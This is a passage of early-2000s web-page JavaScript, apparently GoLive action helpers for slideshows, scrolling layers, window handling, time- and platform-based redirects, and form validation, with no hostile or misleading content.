SSAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

}

}

function SSAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

{

setTimeout("slideAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)",SSAtemps)

}

function slideAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)

{

if (SSAfini==1) {

SSAnumimg = SSAnumimg-2

CSSlideShowAutoPause()

}

else 

{

SSAmax=SSAmax-1

SSAsuite=SSAnumimg+1

	if (SSAnumimg>SSAmax)

		{

		SSAsuite=1

		if (SSAstop==true) SSAfini=1

		else

		SSAfini=0

		}

	if (SSAnumimg<1) SSAsuite=1

SSAnumimg=SSAsuite

if (SSAsuite<10) {

	SSAaller="0"+SSAsuite

	}

	else SSAaller=SSAsuite

SSAsource=SSApstr+SSAaller+SSAformat

var SSAimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSAimg = CSFindElement(SSAimgNom,0);

		else SSAimg = document.images[SSAimgNom];

		if (SSAimg) SSAimg.src = SSAsource;

	}

SSAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

}

}

function CSSlideShowAutoPause() 

{}

function CSSlideShowAutoStop(action) 

{

if (SSAfini==0) SSAfini=1

else SSAfini=0 ; SSAnumimg = SSAnumimg+2 ;  slideAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)

}

function CSPAKtrg2frames(action) { 

	parent.frames[action[1]].location.href = action[2]

	parent.frames[action[3]].location.href = action[4]

 }

function CSPakRemote(action) { 

	if (TRversion()) {

		if (action[2].length < 1) {

			opener.location.href=action[1];

		}

		else {

			opener.parent.frames[action[2]].location.href=action[1];

		}

	}

	return;

}

function TRversion() {

	return (navigator.appName.indexOf("Netscape") >= 0 && parseInt(navigator.appVersion.charAt(0)) >= 3)

          || (navigator.appName.indexOf("Explorer") >= 0 && parseInt(navigator.appVersion.charAt(0)) >= 3);

}

function timeRedirect(action) {

var now = new Date();

var hours = now.getHours();

var timeValue = action[1];

if (timeValue >= 12) { timeValue = timeValue - 12; } // deals with 24-hour time

if (action[2] == true) { timeValue += 12; } // deals with PM times

if (hours < timeValue && action[4] != "(Empty Reference!)" && action[3] == true) {

window.location = action[4]; }

if (hours >= timeValue && action[6] != "(Empty Reference!)" && action[5] == true) {

window.location = action[6]; }

}

function CSsetCSS(action){

if (navigator.appVersion.indexOf("Mac")!=-1&&action[1]!=""){

document.write('<link rel="stylesheet" href='+action[1]+'>')

}

else if (navigator.appVersion.indexOf("Windows")!=-1&&action[2]!=""){

document.write('<link rel="stylesheet" href='+action[2]+'>')

}

}

// Version 1.1. A Michael Ahgren action.

function CSRemoveIEbox(){

if (document.images&&navigator.userAgent.indexOf("MSIE")!=-1){

	for(i=0;i<document.links.length;i++){

		target=eval("document.links[i]")

		target.onfocus=blurHandler

		}

	}

}

function blurHandler(){

obj=window.event.srcElement

if(obj.tagName == "A"||obj.tagName=="AREA") obj.blur()

}

function CSWinResLocation(action){

if (window.screen){ 

	var width=screen.width 

	var er="Empty Reference"

		if (width<=640) { 

			if(action[4]!=""&&action[4].indexOf(er)==-1) self.location.replace(action[4])

		} 

		else if (width<=800) { 

			if(action[3]!=""&&action[3].indexOf(er)==-1) self.location.replace(action[3])

		} 

		else if (width<=1024) { 

			if(action[2]!=""&&action[2].indexOf(er)==-1)	self.location.replace(action[2])

	

		} 
		else if (width<=1280){ 

			if(action[1]!=""&&action[1].indexOf(er)==-1) self.location.replace(action[1])

		} 

		else if(width>1280){

			if(action[5]!=""&&action[5].indexOf(er)==-1) self.location.replace(action[5])

		}

	}

}

//ScrollAreaAuto action 1.1 Copyright 2002 Michael Ahgren

var moves=new Array()

var cLayer=new Array()

var sLayer=new Array()

var stepSize=null

var i=0

function moveTop(value,acc){

if(document.all){

	if(this.firstTime) this.css1.style.pixelTop=this.css1.offsetTop

	this.css1.style.pixelTop+=value

	this.firstTime=false

	}

if (document.layers){

	this.css1.top+=value

	}

if (document.getElementById&&!document.all){

	this.css1.style.top=parseInt(this.css1.style.top)+value+"px"

	}

this.moves+=acc

}

function moveLeft(value,acc){

if(document.all){

	if(this.firstTime) this.css1.style.pixelLeft=this.css1.offsetLeft

	this.css1.style.pixelLeft+=value

	this.firstTime=false

	}

if (document.layers){

	this.css1.left+=value

	}

if (document.getElementById&&!document.all){

	this.css1.style.left=parseInt(this.css1.style.left)+value+"px";

	}

this.moves+=acc

}

function layerObj(obj,type){

	if (document.all&&navigator.userAgent.indexOf("Opera")==-1){

	this.css1=eval(obj)

	this.top=eval(obj+".offsetTop")

	this.moveTop=moveTop

	this.moveLeft=moveLeft

	this.left=eval(obj+".offsetLeft")

	this.width=eval(obj+".clientWidth")

	this.height=eval(obj+".clientHeight")

	}

if (document.layers){

	if (type=="s"){

		this.css1=eval(obj)

		this.top=eval(obj+".top")

		this.left=eval(obj+".left")

		this.moveTop=moveTop

		this.moveLeft=moveLeft

	}

	this.width=eval(obj+".clip.width")

	this.height=eval(obj+".clip.height")

}

if(document.getElementById&&!document.all){

	this.css1=obj

		if(navigator.userAgent.indexOf("Netscape6/6.0")!=-1 ){

		this.left=obj.offsetLeft-obj.parentNode.offsetLeft

		this.css1.style.left=this.left+"px"

		this.top=obj.offsetTop-obj.parentNode.offsetTop

		this.css1.style.top=this.top+"px"

	}else{	

		this.top=parseInt(obj.offsetTop)

		this.left=parseInt(obj.offsetLeft)

}

	this.moveTop=moveTop

	this.moveLeft=moveLeft

	this.width=parseInt(obj.offsetWidth)

	this.height=parseInt(obj.offsetHeight)

}

if(navigator.userAgent.indexOf("Opera")!=-1){

	this.css1=eval(obj)

	this.top=obj.offsetTop

	this.moveTop=moveTop

	this.moveLeft=moveLeft

	this.left=obj.offsetLeft

	this.width=obj.style.pixelWidth

	this.height=obj.style.pixelHeight

}

this.uMax=null

this.dMax=null

this.lMax=null

this.rMax=null

this.dir=null

this.firstTime=true

this.moves=0

}

function SCAutoScrollsetUp(action){

dir=action[4]

stepSize=action[3]

if (document.all&&navigator.userAgent.indexOf("Opera")==-1){

	obj1="document.all."+action[2]

	sLayer[i]=new layerObj(obj1,"s")

	obj2="document.all."+action[1]

	cLayer[i]=new layerObj(obj2,"c")

	eval(obj1+".style.pixelLeft="+obj1+".offsetLeft")

	eval(obj1+".style.pixelTop="+obj1+".offsetTop")

	}

if (document.layers){

	obj1="document."+action[1]+".document."+action[2]

	sLayer[i]=new layerObj(obj1,"s")

	obj2="document."+action[1]

	cLayer[i]=new layerObj(obj2,"c")

	}

if(document.getElementById&&!document.all){

	obj1=document.getElementById(action[2])

	sLayer[i]=new layerObj(obj1,"c")

	obj2=document.getElementById(action[1])

	cLayer[i]=new layerObj(obj2,"s")

		if(navigator.userAgent.indexOf("Netscape6/6.0")==-1 ){

			left=obj1.offsetLeft

			top=obj1.offsetTop

			obj1.style.left=left+"px"

			obj1.style.top=top+"px"

		}

	}	

if(navigator.userAgent.indexOf("Opera")!=-1){

	obj1=document.getElementById(action[2])

	sLayer[i]=new layerObj(obj1,"c")

	obj2=document.getElementById(action[1])

	cLayer[i]=new layerObj(obj2,"s")

	}

sLayer[i].dir=action[4]

setMax(i)

timerID = setInterval("runScroll("+action[3]+","+i+")",action[5]);

i++

}

function setMax(i){

sLayer[i].uMax=sLayer[i].height+sLayer[i].top

sLayer[i].dMax=sLayer[i].height+cLayer[i].height

sLayer[i].lMax=sLayer[i].width+sLayer[i].left

sLayer[i].rMax=sLayer[i].width+cLayer[i].width

}

function setReStartPos(i){

if(sLayer[i].dir=="U")sLayer[i].moveTop(sLayer[i].moves)

if(sLayer[i].dir=="D")sLayer[i].moveTop(-1*sLayer[i].moves)

if(sLayer[i].dir=="L")sLayer[i].moveLeft(sLayer[i].moves)

if(sLayer[i].dir=="R")sLayer[i].moveLeft(-1*sLayer[i].moves)

sLayer[i].moves=0

}

function runScroll(step,i){

	if (sLayer[i].dir=="U"){

		if (sLayer[i].moves< sLayer[i].uMax){

			sLayer[i].moveTop(-1*step,step)			

		}else{

		 setReStartPos(i)

		

		}

	}

	if (sLayer[i].dir=="D"){

		if (sLayer[i].moves< sLayer[i].dMax){

			sLayer[i].moveTop(step,step)

		}else{

		 	setReStartPos(i)

		}

	}

	if (sLayer[i].dir=="L"){ 

		if (sLayer[i].moves< sLayer[i].lMax){

			sLayer[i].moveLeft(-1*step,step)

		}else{

			setReStartPos(i)

		}

	}

	if (sLayer[i].dir=="R"){

		if (sLayer[i].moves< sLayer[i].rMax){

			sLayer[i].moveLeft(step,step)

		}else{

			setReStartPos(i)

		}

	}

}

function CSTempText(action){

	if(!action[7]){

		if(CStestDate(action[2],action[3])){

		document.write(action[1])

		}else{

		document.write(action[4])

		}

	}else{

		if(CStestDate(action[2],action[3])) {

		document.write('<img src='+action[6]+'>')

		}else if(action[5]!="#"){

		document.write('<img src='+action[5]+'>')

		}

		}

}

function CStestDate(action2,action3){

	stopInput=action2.split("/")

	startInput=action3.split("/")

	var stopDate= new Date(stopInput[2],stopInput[0]-1,stopInput[1])

	var startDate= new Date(startInput[2],startInput[0]-1,startInput[1])

	var currDate=new Date()

		if(currDate<stopDate&&currDate>startDate){

		return true

		}else{

		return false

		}

}

// A Michael Ahgren action - copyright 2002 WindowInnerSize 1.1

function CSWindowInnerSizeInit(action){

if (navigator.userAgent.indexOf("Opera")==-1){

var xCorr=0

var yCorr=0

if(navigator.userAgent.indexOf("Mozilla/4")!=-1&&navigator.userAgent.indexOf("Mac")!=-1){

xCorr=-15

yCorr=-30

}

if (action[3]){

maxSizeWindow(action)

}else{

	if (document.all ){

	top.window.resizeTo(screen.availWidth,screen.availHeight);

	var xChrome=screen.availWidth-document.body.clientWidth

	var yChrome=screen.availHeight-document.body.clientHeight

	changeX=action[4]-document.body.clientWidth

	changeY=action[5]-document.body.clientHeight

	top.window.resizeBy(changeX,changeY) 

}

else if ((document.layers||document.getElementById)&&!document.all){

	top.window.resizeTo(screen.availWidth,screen.availHeight);

	 top.window.innerHeight = action[5]+yCorr

 	top.window.innerWidth = action[4]+xCorr

}

if (action[6]){

	if (document.all){

		window.moveTo(parseInt(screen.availWidth/2-(action[4]+xChrome)/2),parseInt(screen.availHeight/2-(action[5]+yChrome)/2))

	}

	else if (document.layers||(document.getElementById&&!document.all)){

		window.moveTo(parseInt(screen.availWidth/2-window.outerWidth/2),parseInt(screen.availHeight/2-window.outerHeight/2))

}

}else{

	window.moveTo(action[1],action[2])

}

}

}

function maxSizeWindow(){

window.moveTo(0,0);

if (document.all){

top.window.resizeTo(screen.availWidth,screen.availHeight);

}

else if (document.layers||document.getElementById){

if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<screen.availWidth)

{

 top.window.outerHeight = screen.availHeight;

 top.window.outerWidth = screen.availWidth;

}

}

}

}

function CSOpenFullWindow(action) {

	var wf = "";	

	if(action[12]) {

		wf = wf + "width=" + screen.availWidth;

		wf = wf + ",height=" + screen.availHeight;

	} else {

		wf = wf + "width=" + action[3];

		wf = wf + ",height=" + action[4];

	}

	wf = wf + ",resizable=" + (action[5] ? "yes" : "no");

	wf = wf + ",scrollbars=" + (action[6] ? "yes" : "no");

	wf = wf + ",menubar=" + (action[7] ? "yes" : "no");

	wf = wf + ",toolbar=" + (action[8] ? "yes" : "no");

	wf = wf + ",directories=" + (action[9] ? "yes" : "no");

	wf = wf + ",location=" + (action[10] ? "yes" : "no");

	wf = wf + ",status=" + (action[11] ? "yes" : "no");	

	if(action[12]) {

		wf = wf + ",left=0";

		wf = wf + ",top=0";

	} else {

		wf = wf + ",left=" + action[13];

		wf = wf + ",top=" + action[14];

	}

	window.open(action[1],action[2],wf);

}

function DJPrintPage(action){

	if(action[1]) {

		top.focus();

		top.print();

	} else {

		window.focus();

		window.print();

	}

}//-->

SSnumimg=1; SSsens2=-1;SSsens3=-1

function CSDJSlideShow(action) 

{

SSmax=action[2]

SSimgNom=action[1]

SSloop=action[4]

SSsens=action[3] 

SSpalin=action[5]

var SSimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSimg = CSFindElement(SSimgNom,0);

		else SSimg = document.images[SSimgNom];

SSstr=SSimg.src

SSn=SSstr.length

SSp=SSn-7

SSpstr=SSstr.substring(0,SSp)

SSnimg=SSstr.substring(SSp,SSp+3)

SSformat=SSstr.substring(SSp+3,SSn)

if (SSformat==".jpg" || SSformat==".JPG" || SSformat==".gif" || SSformat==".GIF")

{}

else

{

 alert("Image extension must be .jpg or .gif (case sensitive). Images must be numbered 001, 002 ...")

}

slideDJ(SSmax,SSformat,SSpstr,SSnimg,SSimgNom,SSloop,SSpalin)

}

}

function slideDJ(SSmax,SSformat,SSpstr,SSnimg,SSimgNom,SSloop,SSpalin)

{

if (SSsens2==true) {SSsens=true}

if (SSsens2==false) {SSsens=false}

if (SSsens==true) 

{

SSsuite=SSnumimg-1

	if (SSnumimg>SSmax)SSsuite=SSmax

	if (SSnumimg<=1 & SSloop==true & SSpalin!=true) { SSsuite=SSmax }

	if (SSnumimg<=1 & SSloop==true & SSpalin==true) { 

		if (SSsens2==-1 & SSsens3==-1) {SSsuite=SSmax;SSsens3=1} else { SSsuite=SSnumimg+1; SSsens2=false }}

	if (SSnumimg<=1 & SSloop!=true & SSpalin!=true) {

		if  (SSsens2==-1 & SSsens3==-1) { SSsuite=SSmax;SSsens3=1 } else {SSsuite=SSnumimg; SSDJfini()}}

}

else

{

SSmax=SSmax-1

SSsuite=SSnumimg+1

	if (SSnumimg>SSmax & SSloop==true & SSpalin!=true) { SSsuite=1}

	if (SSnumimg>SSmax & SSloop==true & SSpalin==true) {SSsuite=SSnumimg-1; SSsens2=true }

	if (SSnumimg>SSmax & SSloop!=true &  SSpalin!=true) { SSsuite=SSnumimg;SSfini() }

	if (SSnumimg<1) SSsuite=1

}

SSnumimg=SSsuite

if (SSsuite<10) {

	SSaller="00"+SSsuite

	} else if(SSsuite<100) {

	SSaller="0"+SSsuite

	} else {

	SSaller=SSsuite

}

SSsource=SSpstr+SSaller+SSformat

var SSimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSimg = CSFindElement(SSimgNom,0);

		else SSimg = document.images[SSimgNom];

		if (SSimg) SSimg.src = SSsource;

	}

}

function SSDJfini() {

}

function CSDJSlideShowAuto(action) 

{

SSAfini=0

SSAnumimg=0

SSAmax=action[2]

SSAimgNom=action[1]

SSAtemps=action[3]*1000

if (action[4]==true) 

		{

		SSAstop=true

		}

	else SSAstop=false

var SSAimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSAimg = CSFindElement(SSAimgNom,0);

		else SSAimg = document.images[SSAimgNom];

str=SSAimg.src

n=str.length

p=n-7

SSApstr=str.substring(0,p)

SSAnimg=str.substring(p,p+3)

SSAformat=str.substring(p+3,n)

if (SSAformat==".jpg" || SSAformat==".JPG" || SSAformat==".gif" || SSAformat==".GIF")

{}

else

{

 alert("Image extension must be .jpg or .gif (case sensitive). Images must use 3 digit naming starting with 001, 002 ... plus extension")

}

if (SSAnimg.substring(0,1)=="0") {

	if (SSAnimg.substring(1,2)=="0") {

		SSAnumimg=Number(SSAnimg.substring(2,3))

	} else {

		SSAnumimg=Number(SSAnimg.substring(1,3))

	}

} else {

	{SSAnumimg=Number(SSAnimg)}

}

SSDJAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

}

}

function SSDJAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

{

setTimeout("slideDJAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)",SSAtemps)

}

function slideDJAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)

{

if (SSAfini==1) {

SSAnumimg = SSAnumimg-2

CSDJSlideShowAutoPause()

}

else 

{

SSAmax=SSAmax-1

SSAsuite=SSAnumimg+1

	if (SSAnumimg>SSAmax)

		{

		SSAsuite=1

		if (SSAstop==true) SSAfini=1

		else

		SSAfini=0

		}

	if (SSAnumimg<1) SSAsuite=1

SSAnumimg=SSAsuite

if (SSAsuite<10) {

	SSAaller="00"+SSAsuite

	} else if (SSAsuite<100) {

	SSAaller="0"+SSAsuite

	} else {

	SSAaller=SSAsuite

}

SSAsource=SSApstr+SSAaller+SSAformat

var SSAimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSAimg = CSFindElement(SSAimgNom,0);

		else SSAimg = document.images[SSAimgNom];

		if (SSAimg) SSAimg.src = SSAsource;

	}

SSDJAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

}

}

function CSDJSlideShowAutoPause() 

{}

function CSDJSlideShowAutoStop(action) 

{

if (SSAfini==0) SSAfini=1

else SSAfini=0 ; SSAnumimg = SSAnumimg+2 ;  slideDJAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)

}

var DJold = new Array();

function DJmoveNewPos(t) {

	if(document.all) {

		x = document.body.scrollLeft + DJold[t].originX;

		y = document.body.scrollTop + DJold[t].originY;

	} else {

		x = window.pageXOffset + DJold[t].originX;

		y = window.pageYOffset + DJold[t].originY;

	}

	d1 = x - DJold[t].x;

	d2 = y - DJold[t].y;

	DJold[t].x = DJold[t].x + (x - DJold[t].x)*DJold[t].smooth;

	DJold[t].y = DJold[t].y + (y - DJold[t].y)*DJold[t].smooth;

	CSSetStylePos(DJold[t].oldLayer,0,DJold[t].x);

	CSSetStylePos(DJold[t].oldLayer,1,DJold[t].y);

	setTimeout("DJmoveNewPos(" + t + ")",10);

}

function DJSmoothFloatLayer(action) {

	var x = action[2][0]; var y = action[2][1];

	DJold[DJold.length] = new Array();

	t = DJold.length - 1;

	DJold[t].oldLayer = action[1];

	CSSetStylePos(DJold[t].oldLayer,0,x);

	CSSetStylePos(DJold[t].oldLayer,1,y);

	DJold[t].x = x;

	DJold[t].y = y;

	DJold[t].originX = x;

	DJold[t].originY = y;

	DJold[t].smooth = 1.0/action[3];

	setTimeout("DJmoveNewPos(" + t + ")",10);

}

function CSFieldValidate(action) { 

var form = action[1];

var elem = action[2];

var theEntry  = document.forms[form].elements[elem].value

var theFormElem = document.forms[form].elements[elem]

var badEntry = ""

	function theAlert () { 

	alert(action[6]);

	theFormElem.select();

	theFormElem.focus();

	}  	

	function isEmpty() { 

		if (theEntry == "") { 

		theAlert()

		} 	

	}

	function isNumber() { 

			if (theEntry == "") { 

			theAlert()

			} 		

		for (i=0; i<theEntry.length; i++) {  

			if (theEntry.charAt(i) < "0" || theEntry.charAt(i) > "9") {  

				badEntry = "notnumber"

				} 

			}  		

		if (badEntry == "notnumber") {

		theAlert()	

		}	

	} 

		

	function isAlpha() { 

			if (theEntry == "") { 

			theAlert()

			} 		

		for (i=0; i<theEntry.length; i++) {  

			if (theEntry.charAt(i) >= "0" && theEntry.charAt(i) <= "9") {  

				badEntry = "notalpha"

				} 

			}  		

		if (badEntry == "notalpha") {

		theAlert()	

		}	

	} 

				

	function requiredChars() {

	numofChars = theEntry.length

		if (numofChars != action[4]) {

			theAlert()

		} 

	}	

	function exactString() {

		if (theEntry != action[5]) {

			theAlert()

		} 

	}	

	

	function validEmail() {

		invalidChars = " /:,;"		

		if (theEntry == "") { 

			badEntry = "badEmail"

			}

		for (i=0; i < 5; i++)  {

			badChar = invalidChars.charAt(i)

				if (theEntry.indexOf(badChar,0) > -1) {

				badEntry = "badEmail"

				}

		}	

	atsignLoc = theEntry.indexOf("@",1)

		if (atsignLoc == -1) {

			badEntry = "badEmail"

		}		

		if (theEntry.indexOf("@",atsignLoc+1) > -1) {

		badEntry = "badEmail"

		}

	dotLoc = theEntry.indexOf(".",atsignLoc)

		if (dotLoc == -1) {

		badEntry = "badEmail"

		}

		if (dotLoc+3 > theEntry.length) {

		badEntry = "badEmail"

		}

		if (badEntry == "badEmail") {

		theAlert()

		}

	}

	function validCC() { 

	var theNumber = new Array(theEntry.length);

	var i = 0

	var total = 0

		for (i = 0; i < theEntry.length; ++i) {

		theNumber[i] = parseInt(theEntry.charAt(i))

		}

		for (i = theNumber.length -2; i >= 0; i-=2) {  

		theNumber[i] *= 2;							 

		if (theNumber[i] > 9) theNumber[i]-=9;			 

		}										 

		for (i = 0; i < theNumber.length; ++i) {

		total += theNumber[i];						 

		}	

		isinteger = total/10

		if(parseInt(isinteger)!=isinteger) {

		theAlert()

		}

	}

	

var type=action[3];

if(type==0) isEmpty()

else if(type==1) isNumber()

else if(type==2) isAlpha()

else if(type==3) requiredChars()

else if(type==4) exactString()

else if(type==5) validEmail()

else if(type==6) validCC()

}

		

function CSGetLayerPos(action) { 

	var layer = action[1];

	var x		= CSGetStylePos(layer, 0);

	var y		= CSGetStylePos(layer, 1);

	return new Array(x, y);

}

function CSGetFormElementValue(action) { 

	var form = action[1];

	var elem = action[2];

	return document.forms[form].elements[elem].value;

}

function initIArray() {

this.length = initIArray.arguments.length;

for (var i = 0; i < this.length; i++)

this[i+1] = initIArray.arguments[i]; 

}

function dailyImageURL(action) {

var dateArray = new

initIArray("Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday");

var today = new Date();

var day = dateArray[today.getDay()];

if (today.getDay() == 0) { day = "Sunday"; }

var img = null;

if (document.images) {

	if (!IsIE()&&CSBVers<5) img = CSFindElement(action[1],0);

	else img = document.images[action[1]];

		if (img) {

			if (day == "Monday" && action[2] != "(Empty Reference!)" && action[2] != "(EmptyReference!)") img.src = action[2]

			if (day == "Tuesday" && action[3] != "(Empty Reference!)" && action[3] != "(EmptyReference!)") img.src = action[3]

			if (day == "Wednesday" && action[4] != "(Empty Reference!)" && action[4] != "(EmptyReference!)") img.src = action[4]

			if (day == "Thursday" && action[5] != "(Empty Reference!)" && action[5] != "(EmptyReference!)") img.src = action[5]

			if (day == "Friday" && action[6] != "(Empty Reference!)" && action[6] != "(EmptyReference!)") img.src = action[6]

			if (day == "Saturday" && action[7] != "(Empty Reference!)" && action[7] != "(EmptyReference!)") img.src = action[7]

			if (day == "Sunday" && action[8] != "(Empty Reference!)" && action[8] != "(EmptyReference!)") img.src = action[8]

		}  

}  

}

CSImages=new Array();

function CSPreloadImage(action) {

	if (document.images) { CSImages[CSImages.length]=new Image(); CSImages[CSImages.length-1].src=action[1]; }

}

function CSRandomImg(action) { 

	var img = CSGetImage(action[1]);

	if (img) 

		{

		var v1 =  Math.floor(Math.random() * 10);

		var whichone = v1-(Math.floor(v1/3)*3);

		img.src = action[whichone+2];

		}

}

function CSSetImageURL(action) {

	var img=CSGetImage(action[1]);

	if (img) img.src=action[2];

}

function DJCallFrameAction(action) {

	if (action[2].length) {

		var hasFrame=false;

		for(i=0;i<parent.frames.length;i++) { if (parent.frames[i].name==action[2]) { hasFrame=true; break;}}

		if (hasFrame==true) {

			if(parent.frames[action[2]].CSAction)

				parent.frames[action[2]].CSAction(new Array(action[1]));

		}

	}

}

//-->

function CSCenterNewWindow(action) {

	var wf = "";	

	wf = wf + "width=" + action[3];

	wf = wf + ",height=" + action[4];

	wf = wf + ",resizable=" + (action[5] ? "yes" : "no");

	wf = wf + ",scrollbars=" + (action[6] ? "yes" : "no");

	wf = wf + ",menubar=" + (action[7] ? "yes" : "no");

	wf = wf + ",toolbar=" + (action[8] ? "yes" : "no");

	wf = wf + ",directories=" + (action[9] ? "yes" : "no");

	wf = wf + ",location=" + (action[10] ? "yes" : "no");

	wf = wf + ",status=" + (action[11] ? "yes" : "no");		

	

var ecranL=screen.width;

var ecranH=screen.height;

var hauteur = action[4];

var largeur= action[3];

var deplaceL=((ecranL/2)-(largeur/2));

var deplaceH=((ecranH/2)-(hauteur/2));

nouveau=window.open(action[1],action[2],wf);

if (action[12]) {if (navigator.appName == "Netscape"){var deplaceH = (deplaceH - 40);};

nouveau.moveTo(deplaceL, deplaceH);

nouveau.focus();}

}

function CSCloseWindow() { 

if (self.parent.frames.length != 0) {

	self.parent.close()	

	} else {

	window.close()

	}

}

function CSCloseParentWindow() { 

window.opener.parent.close() 

}

window.onload = MPFocusWin2;

var counter = 0;

function MPCloseWin2(action) {

counter++;

if (action[1] != "#" && action[1] != "<EmptyReference!)" && action[1] != "(Empty Reference)") {

self.opener.location = action[1];

}

self.close();

}

function MPFocusWin2() {

if (counter == 0) {

window.focus();

}

}

function CSCloseWindow() { 

if (self.parent.frames.length != 0) {

self.parent.close()

} else {

window.close()

}

}

function WBConfirmLink(action) {

	 if (checkIt(action)) {

		 if (action[2] != "(Empty Reference!)" && action[2] != "(EmptyReference!)") {

		 	if (action[3].length < 1) {

				parent.location.href=action[2];

			}

			else {

				parent.frames[action[3]].location.href=action[2];

			}

		}

	}

	return;

}

function checkIt(action) {

	var carryOn = window.confirm(action[1]);

	return carryOn;

	}

function CSCSSRedirect(action) { 

if (navigator.platform.indexOf("Win32") != -1) { os = "windows" };

if (navigator.platform.indexOf("Mac") != -1) { os = "mac" };

if (navigator.platform.indexOf("x") != -1 || navigator.platform.indexOf("BSD") != -1 || navigator.platform.indexOf("S") != -1) { os = "unix" };

if (navigator.appName.indexOf("Microsoft") != -1) { browser = "IE" };

if (navigator.appName.indexOf("Netscape") != -1) { browser = "NN" };

if (navigator.appVersion.indexOf("4.") != -1) { version = 4 };

if (navigator.appVersion.indexOf("5.") != -1) { version = 5 };

var tag='<LINK REL="styleSheet" TYPE="text/css" HREF="'+action[2]+'" >';

var type=action[1];

	if(type==0 && os=="mac" && browser=="NN" && version==4) { document.write(tag) }

	else 

	if(type==1 && os=="mac" && browser=="NN" && version==5) { document.write(tag) }

	else 

	if(type==2 && os=="windows" && browser=="NN" && version==4) { document.write(tag) }

	else 

	if(type==3 && os=="windows" && browser=="NN" && version==5) { document.write(tag) }

	else 

	if(type==4 && os=="unix" && browser=="NN" && version==4) { document.write(tag) }

	else 

	if(type==5 && os=="unix" && browser=="NN" && version==5) { document.write(tag) }

	else 

	if(type==6 && os=="mac" && browser=="IE") { document.write(tag) }

	else 

	if(type==7 && os=="windows" && browser=="IE") { document.write(tag) }

}

function initArray() {

this.length = initArray.arguments.length;

for (var i = 0; i < this.length; i++)

this[i+1] = initArray.arguments[i]; 

}

function dailyRedirect(action) {

var dateArray = new

initArray("Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday");

var today = new Date();

var day = dateArray[today.getDay()];

if (today.getDay() == 0) { day = "Sunday"; }

if (day == "Monday" && action[1] != "(Empty Reference!)" && action[1] != "(EmptyReference!)") window.location = action[1]

if (day == "Tuesday" && action[2] != "(Empty Reference!)" && action[2] != "(EmptyReference!)") window.location = action[2]

if (day == "Wednesday" && action[3] != "(Empty Reference!)" && action[3] != "(EmptyReference!)") window.location = action[3]

if (day == "Thursday" && action[4] != "(Empty Reference!)" && action[4] != "(EmptyReference!)") window.location = action[4]

if (day == "Friday" && action[5] != "(Empty Reference!)" && action[5] != "(EmptyReference!)") window.location = action[5]

if (day == "Saturday" && action[6] != "(Empty Reference!)" && action[6] != "(EmptyReference!)") window.location = action[6]

if (day == "Sunday" && action[7] != "(Empty Reference!)" && action[7] != "(EmptyReference!)") window.location = action[7]

}

function frameP(action) {

		if(parent.frames.length==0) {

			var fileName=window.location.href.substring(window.location.href.lastIndexOf("/")+1,window.location.href.length);

			window.location.href=action[1]+"?"+action[2]+"="+fileName;

		} else {

			if(top.location.search!="") {

				var sFrame=top.location.search.substring(1,top.location.search.indexOf("="));

				if(name==sFrame) {

					var sName=top.location.search.substring(top.location.search.indexOf("=")+1,top.location.search.length);

					var fileName=window.location.href.substring(window.location.href.lastIndexOf("/")+1,window.location.href.length);

					if(fileName!=sName) {

						location=sName;

					}

				}

			}

		}

	}

function CSGoBack1() { history.back() }

function CSGotoLink(action) {

	if (action[2].length) {

		var hasFrame=false;

		for(i=0;i<parent.frames.length;i++) { if (parent.frames[i].name==action[2]) { hasFrame=true; break;}}

		if (hasFrame==true)

			parent.frames[action[2]].location = action[1];

		else

			window.open (action[1],action[2],"");

	}

	else location = action[1];

}

function CSKeePress(action) {

desiredKey1 = action[1];

calledAction1 = action[2];

desiredKey2 = action[3];

calledAction2 = action[4];

desiredKey3 = action[5];

calledAction3 = action[6];

desiredKey4 = action[7];

calledAction4 = action[8];

if (document.layers) { document.captureEvents(Event.KEYPRESS) ; }

document.onkeydown = checkKey;

function checkKey(e) {

	e = (e) ? e : (window.event) ? window.event : "";

	if (e) { var keyPressed = ""

			 if (e.which)  keyPressed = e.which; 

			 else  keyPressed = event.keyCode;

			 alphaNum = String.fromCharCode(keyPressed).toLowerCase();

			 if (desiredKey1 == alphaNum) { CSAction(new Array(calledAction1)) };

			 if (desiredKey2 == alphaNum) { CSAction(new Array(calledAction2)) };

			 if (desiredKey3 == alphaNum) { CSAction(new Array(calledAction3)) };

			 if (desiredKey4 == alphaNum) { CSAction(new Array(calledAction4)) };

	}

}

checkKey();

}

// Script by Nate Baldwin, www.mindpalette.com

function MPKeywordNav(action) {

thisForm = action[1];

keyField = action[2];

userField = action[3];

checkBox = (action[4] ? "yes" : "no");

thisDir = action[5];

thisExt = action[6];

fixCase = (action[7] ? "yes" : "no");

if (thisForm == "") {

alert("action setup error:\nform name not specified")

}

if (keyField == "") {

alert("action setup error:\nkeyword field name not specified")

}

if (checkBox == "yes" && userField == "") {

alert("action setup error:\n\"user is new folder\" was selected\nbut no user field was specified")

}

if (thisExt.charAt(0) != ".") {

thisExtSaved = thisExt;

thisExt = "." + thisExtSaved;

}

if (fixCase == "yes") {

with (document.forms[thisForm]) {

elements[keyField].value = elements[keyField].value.toLowerCase();

